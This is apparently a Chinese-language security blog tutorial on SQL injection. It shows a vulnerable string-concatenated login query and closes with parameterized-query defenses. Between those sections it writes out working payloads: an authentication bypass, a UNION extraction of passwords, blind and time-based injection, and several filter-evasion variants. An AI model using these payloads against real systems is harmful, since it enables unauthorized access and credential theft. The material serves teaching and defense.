逆元装置 ▍ INVERSION

丽·芙

CONSTRUCT — LIV
▍
意识海深度 · 回廊稳定
逆元装置 · 待机中
指挥官链接 · 未认证

SQL注入从原理到实战绕过

发布于 2025-01-18 00:00 632 字 4 min read

深入理解SQL注入的攻击原理,掌握UNION注入、盲注与常见WAF绕过技巧。

什么是 SQL 注入?

SQL 注入的本质是:程序将用户输入作为代码的一部分来执行。当应用程序使用字符串拼接来构建 SQL 查询时,攻击者可以通过精心构造的输入来篡改查询逻辑。

# 危险的拼接方式
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"

当攻击者输入 admin' -- (注意 -- 后跟一个空格,MySQL 的注释符后必须有空白才生效;PostgreSQL/SQL Server 则无此要求)作为用户名时,查询变为:

SELECT * FROM users WHERE username = 'admin' --' AND password = ''

-- 是 SQL 中的行注释,后续的条件被注释掉了,攻击者无需密码即可登录。

分类与手法

UNION 注入

最直接的注入方式,通过 UNION 操作符将恶意查询结果附加到原查询结果中:

' UNION SELECT 1, username, password FROM users --

前提条件:要知道原查询的列数(通过 ORDER BY 试探),且各列数据类型兼容。

布尔盲注

当页面不直接返回查询结果,但存在”正确/错误”两种不同响应时,可以用布尔盲注逐位猜解数据:

' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a' --

工具如 sqlmap 会自动完成这个过程。

时间盲注

连布尔差异都没有时,可以通过引入时间延迟来判断:

' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a', SLEEP(5), 0) --

WAF 绕过技巧

1. 注释混写

'/**/UNION/**/SELECT/**/1,2,3--

2. 大小写变换

' uNiOn SeLeCt 1,2,3 --

3. 双写绕过

' UNIUNIONON SELESELECTCT 1,2,3 --

如果 WAF 只做一次替换,替换后恰好还原为合法的 SQL 关键字。

4. 等价函数替换

当 SLEEP() 被过滤时:

SELECT BENCHMARK(5000000, MD5('test'))

5. HTTP 参数污染

利用 WAF 和 Web 服务器的参数解析差异:

?q=1&q=2  -- WAF 检查第一个,后端取最后一个

防御方案

参数化查询(Prepared Statement) 是从根源上杜绝 SQL 注入的方法:

cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))

SQL 语句的结构在编译时就固定了,用户输入永远不会被当作 SQL 代码执行。这条原则适用于所有编程语言——Java 的 PreparedStatement、Go 的 database/sql 占位符、Node.js 的 ? 或 $1。

除此之外,最小权限原则(数据库账号只授予必要权限)、输入校验(白名单过滤)、Web 应用防火墙(WAF)构成了纵深防御体系。